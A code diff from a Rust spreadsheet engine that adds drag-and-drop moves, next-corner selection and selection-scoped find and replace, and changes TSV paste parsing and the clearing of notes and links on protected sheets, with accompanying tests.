#[cfg(test)]
use find::replace_ci;
@@ -36,7 +36,7 @@ use go_to::go_to_special;
use go_to::{GO_TO_MAX_AREAS, GO_TO_RECENT, reference_parts};
use paste_special::paste_special;
pub(crate) use paste_special::{rewrite_all_formulas, rewrite_cell_links, rewrite_python_refs};
use selection::{select_all, select_col, select_region, select_row, selection_move, selection_next, selection_set};
use selection::{select_all, select_col, select_region, select_row, selection_move, selection_next, selection_next_corner, selection_set};
pub fn specs() -> Vec<CommandSpec> {
vec![
@@ -62,6 +62,15 @@ pub fn specs() -> Vec<CommandSpec> {
cmd!(noundo "selection.set", "Select", [], None, "{range: \"A1:B2,D4\" | cell, active?: \"A1\", sheet?}", has_doc, selection_set),
cmd!(noundo "selection.move", "Move Selection", [], None, "{dr, dc, extend?: bool, jump?: bool (Ctrl+arrow), page?: bool}", has_doc, selection_move),
cmd!(noundo "selection.next", "Next Cell in Selection", [], None, "{forward?: true, byRow?: false} (Enter/Tab inside a selection)", has_doc, selection_next),
cmd!(
noundo "selection.nextCorner",
"Next Corner of Selection",
[],
Some("Ctrl+."),
"{} (the active cell moves clockwise to the next corner of the selected area, which stays selected)",
has_doc,
selection_next_corner
),
cmd!(noundo "edit.selectAll", "Select All", ["Edit"], Some("Cmd+A"), "{} (current region first, then the whole sheet)", has_doc, select_all),
cmd!(noundo "selection.currentRegion", "Select Current Region", [], Some("Ctrl+Shift+8"), "{}", has_doc, select_region),
cmd!(noundo "selection.row", "Select Entire Row", [], Some("Shift+Space"), "{}", has_doc, select_row),
@@ -81,6 +90,15 @@ pub fn specs() -> Vec<CommandSpec> {
has_doc,
paste
),
cmd!(
"range.move",
"Drag and Drop",
[],
None,
"{range?, to: \"C3\", overwrite?: bool} (drag the selection's border: a cut and paste that asks before replacing data unless overwrite)",
has_doc,
range_move
),
CommandSpec {
shortcut_mac: Some("Ctrl+Cmd+V"),
..cmd!(
@@ -126,13 +144,13 @@ pub fn specs() -> Vec<CommandSpec> {
fill_series
),
cmd!("edit.flashFill", "Flash Fill", ["Home", "Editing", "Fill"], Some("Ctrl+E"), "{range?}", has_doc, flash_fill),
cmd!(noundo "edit.find", "Find…", ["Home", "Editing", "Find & Select"], Some("Cmd+F"), "{what, matchCase?, wholeCell?, lookIn?: formulas|values, byColumns?, all?: bool, within?: sheet|workbook}", has_doc, find),
cmd!(noundo "edit.find", "Find…", ["Home", "Editing", "Find & Select"], Some("Cmd+F"), "{what, matchCase?, wholeCell?, lookIn?: formulas|values, byColumns?, all?: bool, within?: sheet|workbook|selection} (selection: only the selected cells; Find Next keeps them selected and moves the active cell)", has_doc, find),
cmd!(
"edit.replace",
"Replace…",
["Home", "Editing", "Find & Select"],
Some("Ctrl+H"),
"{what, with, matchCase?, wholeCell?, all?: true, within?: sheet|workbook} → {replaced, skipped?} (in a Python cell the code is edited; skipped counts Python cells whose code would no longer fit)",
"{what, with, matchCase?, wholeCell?, all?: true, within?: sheet|workbook|selection} → {replaced, skipped?} (in a Python cell the code is edited; skipped counts Python cells whose code would no longer fit)",
has_doc,
replace
),
@@ -244,21 +262,36 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result<Json> {
})
})
};
// Notes and links aren't cell contents, so the cell comparison that guards a protected sheet
// doesn't see them go: a locked cell's are refused here, stored cell or not.
if matches!(what, "all" | "comments" | "hyperlinks") {
let d = s.doc()?;
if let Some(sh) = d.wb.sheet(sheet).filter(|sh| sh.is_protected()) {
for &whole in &ranges {
let skip = filtered_rows(sh, whole);
let notes = matches!(what, "all" | "comments").then(|| sh.comments.keys()).into_iter().flatten();
let links = matches!(what, "all" | "hyperlinks").then(|| sh.hyperlinks.keys()).into_iter().flatten();
for &c in notes.chain(links).filter(|c| whole.contains(**c) && !skip.contains(&c.row)) {
if d.wb.styles.get(sh.style_id(c)).protection.locked
&& let Some(m) = locked_cell_error(sh, c, &d.unlocked_ranges)
{
return Err(EngineError::Other(m));
}
}
}
}
}
edit(s, |cx| {
for r in &ranges {
let r = match cx.wb.sheet(sheet).and_then(|sh| sh.used_range()) {
Some(u) => match r.intersection(&u) {
Some(x) => x,
None => continue,
},
None => continue,
for &whole in &ranges {
// Cells are only stored inside the used range. Notes and links are kept apart from
// them, so they are cleared over the whole range: one from a file can sit on a cell
// with nothing stored in it.
let used = cx.wb.sheet(sheet).and_then(|sh| sh.used_range()).and_then(|u| whole.intersection(&u));
let skip = cx.wb.sheet(sheet).map(|sh| filtered_rows(sh, whole)).unwrap_or_default();
let cells: Vec<(CellRef, Cell)> = match (cx.wb.sheet(sheet), used) {
(Some(sh), Some(r)) => sh.cells.iter_range(r).filter(|(c, _)| !skip.contains(&c.row)).map(|(c, x)| (c, x.clone())).collect(),
_ => Vec::new(),
};
let skip = cx.wb.sheet(sheet).map(|sh| filtered_rows(sh, r)).unwrap_or_default();
let cells: Vec<(CellRef, Cell)> = cx
.wb
.sheet(sheet)
.map(|sh| sh.cells.iter_range(r).filter(|(c, _)| !skip.contains(&c.row)).map(|(c, x)| (c, x.clone())).collect())
.unwrap_or_default();
// Report every stored cell we touch, even beyond a million coordinates in a sparse
// selection. Removed formula anchors must also reach calc so their spills disappear.
cx.changed.extend(cells.iter().map(|(c, _)| (sheet, *c)));
@@ -278,6 +311,18 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result<Json> {
}
}
}
let cleared = |c: CellRef| whole.contains(c) && !skip.contains(&c.row);
// A removed note or link changes its cell even with nothing stored there.
let metadata: Vec<CellRef> = cx
.wb
.sheet(sheet)
.map(|sh| {
let notes = matches!(what, "all" | "comments").then(|| sh.comments.keys()).into_iter().flatten();
let links = matches!(what, "all" | "hyperlinks").then(|| sh.hyperlinks.keys()).into_iter().flatten();
notes.chain(links).copied().filter(|c| cleared(*c)).collect()
})
.unwrap_or_default();
cx.changed.extend(metadata.into_iter().map(|c| (sheet, c)));
let sh = cx.sheet_mut(sheet)?;
for (c, mut cell) in cells {
match what {
@@ -294,14 +339,15 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result<Json> {
_ => {}
}
}
let cleared = |c: CellRef| r.contains(c) && !skip.contains(&c.row);
if matches!(what, "all" | "comments") {
sh.comments.retain(|c, _| !cleared(*c));
}
if matches!(what, "all" | "hyperlinks") {
sh.hyperlinks.retain(|c, _| !cleared(*c));
}
if matches!(what, "all" | "formats") {
if let Some(r) = used
&& matches!(what, "all" | "formats")
{
let mut unmerged = false;
sh.merges.retain(|m| {
let keep = !r.contains_range(m) || skip.range(m.start.row..=m.end.row).next().is_some();
+80 -5
View File
@@ -1,7 +1,8 @@
use super::cell::input_to_cell;
use super::paste_special::paste_special;
use super::{
Cell, Clipboard, EngineError, Json, RangeRef, Result, Session, Value, cell_param_on, edit, json, ok, str_param, target_ranges, target_sheet,
Cell, Clipboard, EngineError, Json, RangeRef, Result, Session, Value, bad, bool_param, cell_param_on, edit, json, ok, str_param, target_ranges,
target_sheet,
};
// ---------------------------------------------------------------- clipboard
@@ -163,6 +164,40 @@ pub(super) fn paste(s: &mut Session, p: &Json) -> Result<Json> {
paste_special(s, &json!({"what": "all", "at": p.get("at").cloned().unwrap_or(Json::Null)}))
}
/// Drag and drop (dragging the selection's border): moves `range` so its top-left cell lands on
/// `to`, as Cut and Paste would. Like Excel, it asks before replacing cells that hold data or show a
/// spilled value (other than the moved cells themselves); run it again with `overwrite: true` to replace them. A
/// refused or failed move leaves the clipboard as it was.
pub(super) fn range_move(s: &mut Session, p: &Json) -> Result<Json> {
let sheet = target_sheet(s, p)?;
let to = cell_param_on(s, p, "to", sheet)?.ok_or_else(|| bad("range.move", "missing `to`"))?;
let kept = s.clipboard.take();
let moved = cut(s, p).and_then(|_| {
let src = s.clipboard.as_ref().map(|c| c.range).unwrap_or_default();
let dest = to.offset(i64::from(src.height()) - 1, i64::from(src.width()) - 1).map(|end| RangeRef::new(to, end));
if bool_param(p, "overwrite") != Some(true)
&& let Some(dest) = dest
&& let Some(sh) = s.doc()?.wb.sheet(sheet)
&& (sh.cells.iter_range(dest).any(|(c, cell)| !src.contains(c) && cell.has_content())
|| sh.spill.range(dest.start..=dest.end).any(|(c, v)| dest.contains(*c) && !src.contains(*c) && *v != Value::Empty))
{
return Err(EngineError::Confirm("There's already data here. Do you want to replace it?".into()));
}
// On the range's sheet, which `paste` would leave to the active one. The selection
// belongs to the active sheet: it follows the moved cells only when they are on it.
let selection = s.doc()?.selection.clone();
let pasted = paste_special(s, &json!({"what": "all", "at": to.a1(), "sheet": sheet}))?;
if sheet != s.doc()?.wb.active_sheet() {
s.doc_mut()?.selection = selection;
}
Ok(pasted)
});
if moved.is_err() {
s.clipboard = kept;
}
moved
}
fn paste_text(s: &mut Session, p: &Json, text: &str) -> Result<Json> {
let sheet = target_sheet(s, p)?;
let at = cell_param_on(s, p, "at", sheet)?.unwrap_or(s.doc()?.selection.current().start);
@@ -226,16 +261,55 @@ pub(crate) fn parse_tsv(text: &str) -> Vec<Vec<String>> {
let mut row = Vec::new();
let mut field = String::new();
let mut chars = text.chars().peekable();
// Text read again as unquoted, ahead of the rest of the input: a field that opened with a
// quote but turned out not to be quoted.
let mut replay: std::collections::VecDeque<char> = std::collections::VecDeque::new();
// Text is replayed at most as much as the input is long; past that, quotes are text, so
// hostile input full of fields that only look quoted reads in linear time.
let mut replay_budget = text.len();
let mut quoted = false;
let mut at_start = true;
while let Some(c) = chars.next() {
// A quoted field's text as it stands in the input, for a field that turns out not to be one.
let mut raw = String::new();
loop {
let c = match replay.pop_front().or_else(|| chars.next()) {
Some(c) => c,
// A quote that never closes: the field is its text as written.
None if quoted => {
quoted = false;
field.clear();
field.push('"');
replay_budget = replay_budget.saturating_sub(raw.len());
replay.extend(raw.chars().skip(1));
raw.clear();
continue;
}
None => break,
};
if quoted {
raw.push(c);
if c == '"' {
if chars.peek() == Some(&'"') {
let next = replay.front().copied().or_else(|| chars.peek().copied());
if next == Some('"') {
field.push('"');
chars.next();
raw.push('"');
if replay.pop_front().is_none() {
chars.next();
}
} else {
quoted = false;
// A field is quoted only when its closing quote ends it, as Excel reads it:
// `"hi" there` is that text, quotes included, and a tab or line break inside
// it still ends the cell, as if the leading quote weren't there.
if !matches!(next, None | Some('\t' | '\n' | '\r')) {
field.clear();
field.push('"');
replay_budget = replay_budget.saturating_sub(raw.len());
let rest: Vec<char> = std::mem::take(&mut raw).chars().skip(1).collect();
for ch in rest.into_iter().rev() {
replay.push_front(ch);
}
}
}
} else {
field.push(c);
@@ -243,9 +317,10 @@ pub(crate) fn parse_tsv(text: &str) -> Vec<Vec<String>> {
continue;
}
match c {
'"' if at_start => {
'"' if at_start && replay_budget > 0 => {
quoted = true;
at_start = false;
raw = String::from('"');
}
'\t' => {
row.push(std::mem::take(&mut field));
+11 -2
View File
@@ -62,6 +62,8 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result<Json> {
let by_cols = bool_param(p, "byColumns").unwrap_or(false);
let all = bool_param(p, "all").unwrap_or(false);
let workbook = str_param(p, "within") == Some("workbook");
// `selection`: only the selected cells of the active sheet, as Excel searches a selected range.
let in_selection = str_param(p, "within") == Some("selection");
s.last_find = Some(p.clone());
let d = s.doc()?;
let sheets: Vec<usize> = if workbook { (0..d.wb.sheets.len()).collect() } else { vec![d.wb.active_sheet()] };
@@ -71,6 +73,7 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result<Json> {
let mut cells: Vec<(CellRef, String)> = sh
.cells
.iter()
.filter(|(c, _)| !in_selection || d.selection.contains(*c))
.filter_map(|(c, cell)| {
let text = if values || cell.formula.is_none() || crate::display::formula_hidden(&d.wb, sh, c) {
crate::display::cell_text(&d.wb, sh, c)
@@ -100,7 +103,12 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result<Json> {
let Some((si, c, t)) = next else { return Err(EngineError::Other("not found".into())) };
let dd = s.doc_mut()?;
dd.wb_switch_sheet(si);
dd.selection = crate::Selection::at(c);
if in_selection {
// The range stays selected and the active cell moves through it, as in Excel.
dd.selection.active = c;
} else {
dd.selection = crate::Selection::at(c);
}
Ok(json!({"cell": c.a1(), "sheet": si, "value": t, "count": hits.len()}))
}
@@ -114,6 +122,7 @@ pub(super) fn replace(s: &mut Session, p: &Json) -> Result<Json> {
let whole = bool_param(p, "wholeCell").unwrap_or(false);
let all = bool_param(p, "all").unwrap_or(true);
let workbook = str_param(p, "within") == Some("workbook");
let selection = (str_param(p, "within") == Some("selection")).then(|| s.doc().map(|d| d.selection.clone())).transpose()?;
let active = s.doc()?.selection.active;
let mut skipped = 0usize;
let n = edit(s, |cx| {
@@ -123,7 +132,7 @@ pub(super) fn replace(s: &mut Session, p: &Json) -> Result<Json> {
let cells: Vec<(CellRef, String)> =
cx.wb.sheet(si).map(|sh| sh.cells.iter().map(|(c, _)| (c, sh.input_text(c))).collect()).unwrap_or_default();
for (c, text) in cells {
if !all && c != active {
if (!all && c != active) || selection.as_ref().is_some_and(|sel| !sel.contains(c)) {
continue;
}
if !matches(&text, &what, case, whole) {
+6 -2
View File
@@ -396,14 +396,15 @@ pub(crate) fn rewrite_all_formulas(wb: &mut gridcraft_model::Workbook, target: &
}
/// Runs `f` over every reference a floating object holds (a chart's series values, categories,
/// name and bubble sizes, and the source block it was made from). Every edit that moves
/// name and bubble sizes, and the source block it was made from, and a form control's linked
/// cell). Every edit that moves
/// references calls it: inserting and deleting lines and cells and cut-moves (through
/// [`rewrite_all_formulas`]), and renaming and deleting sheets. `f` maps a reference held by an
/// object on the sheet named `host` to its new form; text that does not parse is kept. A source
/// block that no longer exists is dropped.
pub(crate) fn rewrite_cell_links(wb: &mut gridcraft_model::Workbook, f: impl Fn(&str, gridcraft_formula::Expr) -> gridcraft_formula::Expr) {
for si in 0..wb.sheets.len() {
let Some(host) = wb.sheets.get(si).filter(|s| !s.charts.is_empty()).map(|s| s.name.clone()) else { continue };
let Some(host) = wb.sheets.get(si).filter(|s| !s.charts.is_empty() || !s.controls.is_empty()).map(|s| s.name.clone()) else { continue };
let Some(sh) = wb.sheet_mut(si) else { continue };
let fix = |text: &str| -> String {
match gridcraft_formula::parse(text) {
@@ -420,6 +421,9 @@ pub(crate) fn rewrite_cell_links(wb: &mut gridcraft_model::Workbook, f: impl Fn(
se.bubble_sizes = se.bubble_sizes.as_deref().map(fix);
}
}
for c in sh.controls.iter_mut() {
c.link = c.link.as_deref().map(fix);
}
}
}
+17
View File
@@ -137,6 +137,23 @@ pub(super) fn selection_next(s: &mut Session, p: &Json) -> Result<Json> {
Ok(json!({"active": d.selection.active.a1()}))
}
pub(super) fn selection_next_corner(s: &mut Session, _: &Json) -> Result<Json> {
let d = s.doc_mut()?;
let Some(sheet) = d.wb.active() else { return Err(EngineError::NoDocument) };
// A corner in a merged cell lands on its top-left cell. One in a hidden row or column, one
// the sheet's protection doesn't let you select, and a merged cell that starts outside the
// selected area are skipped.
let area = d.selection.current();
let stop = |c: CellRef| {
Some(sheet.merge_at(c).map_or(c, |m| m.start))
.filter(|c| area.contains(*c) && !sheet.is_row_hidden(c.row) && !sheet.is_col_hidden(c.col) && cell_selectable(&d.wb, sheet, *c))
};
let mut next = d.selection.clone();
next.next_corner_by(stop);
d.selection = next;
Ok(json!({"active": d.selection.active.a1(), "selection": d.selection.a1()}))
}
pub(super) fn select_all(s: &mut Session, _: &Json) -> Result<Json> {
let d = s.doc_mut()?;
let Some(sheet) = d.wb.active() else { return Err(EngineError::NoDocument) };
+209
View File
@@ -307,6 +307,9 @@ fn tsv() {
assert_eq!(parse_tsv("a\tb\n1\t2\n"), vec![vec!["a", "b"], vec!["1", "2"]]);
assert_eq!(parse_tsv("\"x\ty\"\tz"), vec![vec!["x\ty", "z"]]);
assert_eq!(parse_tsv("\"he said \"\"hi\"\"\""), vec![vec!["he said \"hi\""]]);
// #2225: a quote that doesn't close the field leaves it as written, as Excel pastes it.
assert_eq!(parse_tsv("\"hi\" there\tx\n"), vec![vec!["\"hi\" there", "x"]]);
assert_eq!(parse_tsv("say \"hi\"\n"), vec![vec!["say \"hi\""]]);
}
#[test]
@@ -353,6 +356,74 @@ fn cut_paste_that_overflows_the_grid_moves_nothing() {
assert_eq!(get(&mut s, "XFD2")["value"], json!(2.0));
}
#[test]
fn drag_and_drop_asks_before_replacing_data() {
// #3136: dragging column B's border onto column A replaced A without asking.
let mut s = Session::new();
s.new_workbook();
s.execute("range.setValues", json!({"range": "A1:B3", "values": [["Apple", "Kiwi"], ["Pear", "Plum"], ["Fig", "Lime"]]})).unwrap();
s.execute("edit.copy", json!({"range": "D9"})).unwrap();
let text = |s: &mut Session, a: &str| s.execute("cell.get", json!({"cell": a})).unwrap()["input"].clone();
let r = s.execute("range.move", json!({"range": "B:B", "to": "A1"}));
let Err(EngineError::Confirm(q)) = r else { panic!("{r:?}") };
assert_eq!(q, "There's already data here. Do you want to replace it?");
// Nothing moved, and the copy made before is still on the clipboard.
assert_eq!(text(&mut s, "A1"), json!("Apple"));
assert_eq!(text(&mut s, "B1"), json!("Kiwi"));
assert!(s.clipboard.as_ref().is_some_and(|c| !c.cut && c.range.a1() == "D9"));
// Confirmed, column B replaces column A.
s.execute("range.move", json!({"range": "B:B", "to": "A1", "overwrite": true})).unwrap();
assert_eq!(text(&mut s, "A1"), json!("Kiwi"));
assert_eq!(text(&mut s, "A3"), json!("Lime"));
assert_eq!(text(&mut s, "B1"), json!(""));
// Onto empty cells, or overlapping only the moved cells themselves, nothing is asked.
s.execute("range.move", json!({"range": "A1:A3", "to": "A2"})).unwrap();
assert_eq!(text(&mut s, "A4"), json!("Lime"));
s.execute("range.move", json!({"range": "A2:A4", "to": "C2"})).unwrap();
assert_eq!(text(&mut s, "C2"), json!("Kiwi"));
assert!(s.execute("range.move", json!({"range": "C2"})).is_err(), "`to` is required");
}
#[test]
fn drag_and_drop_asks_before_replacing_spilled_values() {
// Cells showing a dynamic array's spilled values hold no cell of their own, but they are data.
let mut s = Session::new();
s.new_workbook();
s.execute("cell.set", json!({"cell": "A1", "input": "=SEQUENCE(3)"})).unwrap();
s.execute("range.setValues", json!({"range": "C2:C3", "values": [["Kiwi"], ["Plum"]]})).unwrap();
let r = s.execute("range.move", json!({"range": "C2:C3", "to": "A2"}));
let Err(EngineError::Confirm(q)) = r else { panic!("{r:?}") };
assert_eq!(q, "There's already data here. Do you want to replace it?");
let sh = s.doc().unwrap().wb.active().unwrap();
assert_eq!(sh.value(CellRef::new(2, 2)), Value::text("Plum"));
s.execute("range.move", json!({"range": "C2:C3", "to": "A2", "overwrite": true})).unwrap();
let sh = s.doc().unwrap().wb.active().unwrap();
assert_eq!(sh.value(CellRef::new(1, 0)), Value::text("Kiwi"));
}
#[test]
fn drag_and_drop_on_another_sheet_stays_on_that_sheet() {
// The move was checked on the range's sheet but pasted on the active one, replacing its data
// without asking.
let mut s = Session::new();
s.new_workbook();
s.execute("home.insertSheet", json!({"name": "Two"})).unwrap();
s.execute("range.setValues", json!({"range": "B1:B2", "values": [["Kiwi"], ["Plum"]]})).unwrap();
s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
s.execute("cell.set", json!({"cell": "A1", "input": "Keep"})).unwrap();
s.execute("selection.set", json!({"range": "C5"})).unwrap();
s.execute("range.move", json!({"range": "Two!B1:B2", "to": "A1"})).unwrap();
// Sheet1 stays active with its own selection; the moved cells are on Two.
assert_eq!(s.doc().unwrap().wb.active_sheet(), 0);
assert_eq!(s.doc().unwrap().selection.a1(), "C5");
let wb = &s.doc().unwrap().wb;
let two = wb.sheet_index("Two").unwrap();
assert_eq!(wb.sheet(0).unwrap().value(CellRef::new(0, 0)), Value::text("Keep"));
assert_eq!(wb.sheet(two).unwrap().value(CellRef::new(0, 0)), Value::text("Kiwi"));
assert_eq!(wb.sheet(two).unwrap().value(CellRef::new(1, 0)), Value::text("Plum"));
assert_eq!(wb.sheet(two).unwrap().value(CellRef::new(0, 1)), Value::Empty);
}
#[test]
fn replace_case_insensitive() {
assert_eq!(replace_ci("Apple apple APPLE", "apple", "pear"), "pear pear pear");
@@ -371,3 +442,141 @@ fn replace_case_insensitive_keeps_text_when_folding_moves_boundaries() {
let sh = s.doc().unwrap().wb.active().unwrap();
assert_eq!(sh.value(CellRef::new(0, 0)), Value::text(text));
}
#[test]
fn next_corner_of_selection_goes_clockwise_and_anchors_there() {
// #1442, as Excel does it: B2 → D2 → D4 → B4 → B2, the area stays selected, and Shift+arrows
// then move the corner opposite the new active cell.
let mut s = Session::new();
s.new_workbook();
s.execute("selection.set", json!({"range": "B2:D4", "active": "B2"})).unwrap();
let mut seen = Vec::new();
for _ in 0..4 {
let r = s.execute("selection.nextCorner", json!({})).unwrap();
assert_eq!(r["selection"], "B2:D4");
seen.push(r["active"].as_str().unwrap().to_string());
}
assert_eq!(seen, ["D2", "D4", "B4", "B2"]);
s.execute("selection.nextCorner", json!({})).unwrap();
s.execute("selection.nextCorner", json!({})).unwrap();
s.execute("selection.move", json!({"dr": 0, "dc": 1, "extend": true})).unwrap();
assert_eq!(s.doc().unwrap().selection.current().a1(), "C2:D4");
// One row goes end to end; a single cell stays.
s.execute("selection.set", json!({"range": "B2:D2", "active": "B2"})).unwrap();
assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "D2");
assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B2");
s.execute("selection.set", json!({"range": "C5"})).unwrap();
assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C5");
}
#[test]
fn next_corner_skips_corners_the_sheet_protection_does_not_let_you_select() {
// With locked cells unselectable, Ctrl+. goes on to the next corner it may select.
let mut s = Session::new();
s.new_workbook();
s.execute("home.lockCell", json!({"range": "B2:C3", "on": false})).unwrap();
s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap();
s.execute("review.protectSheet", json!({"selectLockedCells": false})).unwrap();
let r = s.execute("selection.nextCorner", json!({})).unwrap();
assert_eq!((r["active"].as_str(), r["selection"].as_str()), (Some("B3"), Some("B2:D3")), "D2 and D3 are locked");
assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B2");
}
#[test]
fn next_corner_stops_once_on_a_merged_corner_at_its_top_left_cell() {
// A corner inside a merged cell is that merged cell, whose active cell is its top-left one.
let mut s = Session::new();
s.new_workbook();
s.execute("home.mergeCells", json!({"range": "C2:D2"})).unwrap();
s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap();
let seen: Vec<String> = (0..4).map(|_| s.execute("selection.nextCorner", json!({})).unwrap()["active"].as_str().unwrap().to_string()).collect();
assert_eq!(seen, ["C2", "D3", "B3", "B2"]);
// A selection that is one merged cell has no other corner.
s.execute("selection.set", json!({"range": "C2:D2", "active": "C2"})).unwrap();
assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C2");
}
#[test]
fn next_corner_skips_hidden_corners_and_stays_inside_the_selected_area() {
// A corner in a hidden column is passed over, as keyboard moves pass over hidden cells.
let mut s = Session::new();
s.new_workbook();
s.execute("home.hideColumns", json!({"cols": "D:D"})).unwrap();
s.execute("selection.set", json!({"range": "B2:D3", "active": "B2"})).unwrap();
assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B3");
// Column C selected with B1:C1 merged: its top corner's merged cell starts in column B,
// outside the selection, so the active cell doesn't go there.
let mut s = Session::new();
s.new_workbook();
s.execute("home.mergeCells", json!({"range": "B1:C1"})).unwrap();
s.execute("selection.set", json!({"cell": "C5"})).unwrap();
s.execute("selection.column", json!({})).unwrap();
let r = s.execute("selection.nextCorner", json!({})).unwrap();
assert_eq!((r["active"].as_str(), r["selection"].as_str()), (Some("C1048576"), Some("C:C")));
}
#[test]
fn copy_quotes_only_cells_with_tabs_or_line_breaks() {
// #2225: a cell holding a quote was wrapped in quotes on copy; Excel quotes only text with a
// tab or line break, and pastes the result back as the same cells.
let mut s = Session::new();
s.new_workbook();
for (cell, input) in [("A1", "say \"hi\""), ("A2", "plain"), ("A3", "\"hi\" there"), ("A4", "x \"q\"\ny"), ("A5", "tab\tinside")] {
s.execute("cell.set", json!({"cell": cell, "input": input})).unwrap();
}
let text = s.execute("edit.copy", json!({"range": "A1:A5"})).unwrap()["text"].as_str().unwrap().to_string();
assert_eq!(text, "say \"hi\"\nplain\n\"hi\" there\n\"x \"\"q\"\"\ny\"\n\"tab\tinside\"\n");
let rows = parse_tsv(&text);
let cells: Vec<&str> = rows.iter().map(|r| r[0].as_str()).collect();
assert_eq!(cells, ["say \"hi\"", "plain", "\"hi\" there", "x \"q\"\ny", "tab\tinside"]);
}
#[test]
fn a_field_that_is_not_really_quoted_keeps_its_separators() {
// A field opening with a quote is quoted only if a closing quote ends it; when it doesn't (or
// never closes), the text is read as written, and the tabs and line breaks inside it still
// separate cells, as they would have without the leading quote.
assert_eq!(parse_tsv("\"a\tb\"x\tc"), vec![vec!["\"a", "b\"x", "c"]]);
assert_eq!(parse_tsv("\"a\tb\nc"), vec![vec!["\"a", "b"], vec!["c"]]);
assert_eq!(parse_tsv("\"a\tb\tc\n"), vec![vec!["\"a", "b", "c"]]);
// Cells copied without quotes (they hold no tab or line break) read back as the same cells.
let mut s = Session::new();
s.new_workbook();
for (cell, input) in [("A1", "'\"a"), ("B1", "b\"x"), ("C1", "c")] {
s.execute("cell.set", json!({"cell": cell, "input": input})).unwrap();
}
let text = s.execute("edit.copy", json!({"range": "A1:C1"})).unwrap()["text"].as_str().unwrap().to_string();
assert_eq!(parse_tsv(&text), vec![vec!["\"a", "b\"x", "c"]], "{text:?}");
// Many fields that only look quoted: each is replayed at most once (the replay budget is the
// input's length), and every one is still its own cell.
let hostile = "\"x\t".repeat(50_000);
assert_eq!(parse_tsv(&hostile).first().map(Vec::len), Some(50_001));
}
/// `within: selection` searches only the selected cells, as Excel does with a range selected
/// (#3224): Find All lists them, Find Next moves the active cell through them and keeps the range
/// selected, and Replace changes only them.
#[test]
fn find_and_replace_within_the_selection() {
let mut s = Session::new();
s.new_workbook();
s.execute("range.setValues", json!({"range": "A1:B4", "values": [["pear", "pear"], ["plum", "pear"], ["pear", "fig"], ["pear", "pear"]]}))
.unwrap();
s.execute("selection.set", json!({"range": "B1:B4"})).unwrap();
let all = s.execute("edit.find", json!({"what": "pear", "all": true, "within": "selection"})).unwrap();
let cells: Vec<&str> = all["results"].as_array().unwrap().iter().filter_map(|r| r["cell"].as_str()).collect();
assert_eq!(cells, ["B1", "B2", "B4"], "only column B");
assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B2");
assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B4");
assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B1", "wraps inside the range");
let sel = &s.doc().unwrap().selection;
assert_eq!((sel.a1(), sel.active.a1()), ("B1:B4".to_string(), "B1".to_string()), "the range stays selected");
assert!(s.execute("edit.find", json!({"what": "plum", "within": "selection"})).is_err(), "A2 is outside the range");
assert_eq!(s.execute("edit.replace", json!({"what": "pear", "with": "kiwi", "within": "selection"})).unwrap()["replaced"], 3);
let sh = s.doc().unwrap().wb.active().unwrap();
let at = |a: &str| sh.value(CellRef::parse(a).unwrap());
assert_eq!((at("A1"), at("B1"), at("B4"), at("A4")), (Value::text("pear"), Value::text("kiwi"), Value::text("kiwi"), Value::text("pear")));
// The sheet scope is unchanged.
let all = s.execute("edit.find", json!({"what": "pear", "all": true})).unwrap();
assert_eq!(all["count"], 3, "A1, A3 and A4 on the whole sheet");
}
+3 -3
View File
@@ -97,7 +97,7 @@ pub fn specs() -> Vec<CommandSpec> {
"Bring Forward",
["Page Layout", "Arrange"],
None,
"{kind: chart|image|shape|slicer|equation, id, toFront?: bool}",
"{kind: chart|image|shape|slicer|equation|control, id, toFront?: bool}",
has_doc,
|s, p| arrange(s, p, true)
),
@@ -106,7 +106,7 @@ pub fn specs() -> Vec<CommandSpec> {
"Send Backward",
["Page Layout", "Arrange"],
None,
"{kind: chart|image|shape|slicer|equation, id, toBack?: bool}",
"{kind: chart|image|shape|slicer|equation|control, id, toBack?: bool}",
has_doc,
|s, p| arrange(s, p, false)
),
@@ -116,7 +116,7 @@ pub fn specs() -> Vec<CommandSpec> {
"Align",
["Page Layout", "Arrange"],
None,
"{kind: chart|image|shape|slicer|equation, ids: [..], align: left|center|right|top|middle|bottom}",
"{kind: chart|image|shape|slicer|equation|control, ids: [..], align: left|center|right|top|middle|bottom}",
has_doc,
align
),
+10
View File
@@ -57,6 +57,7 @@ pub(super) fn arrange(s: &mut Session, p: &Json, forward: bool) -> Result<Json>
let kind = kind_param(p, "arrange")?;
let extreme = bool_param(p, "toFront").or(bool_param(p, "toBack")).unwrap_or(false);
let si = s.doc()?.wb.active_sheet();
crate::cmd::controls::check_objects_unlocked(s, si, kind, &[id])?;
fn reorder<T>(v: &mut Vec<T>, i: usize, forward: bool, extreme: bool) {
if i >= v.len() {
return;
@@ -81,6 +82,7 @@ pub(super) fn arrange(s: &mut Session, p: &Json, forward: bool) -> Result<Json>
ObjKind::Shape | ObjKind::Equation => {
sh.shapes.iter().position(|c| c.id == id && shape_is(kind, c)).map(|i| reorder(&mut sh.shapes, i, forward, extreme))
}
ObjKind::Control => sh.controls.iter().position(|c| c.id == id).map(|i| reorder(&mut sh.controls, i, forward, extreme)),
};
found.ok_or_else(|| bad("arrange", "no such object"))?;
Ok(Json::Null)
@@ -106,6 +108,12 @@ pub(super) fn selection_pane(s: &mut Session, _: &Json) -> Result<Json> {
let name = if c.caption.is_empty() { &c.column } else { &c.caption };
v.push(json!({"kind": "slicer", "id": c.id, "name": name, "at": c.anchor.cell.a1(), "anchorMode": anchor_mode_name(c.anchor.mode)}));
}
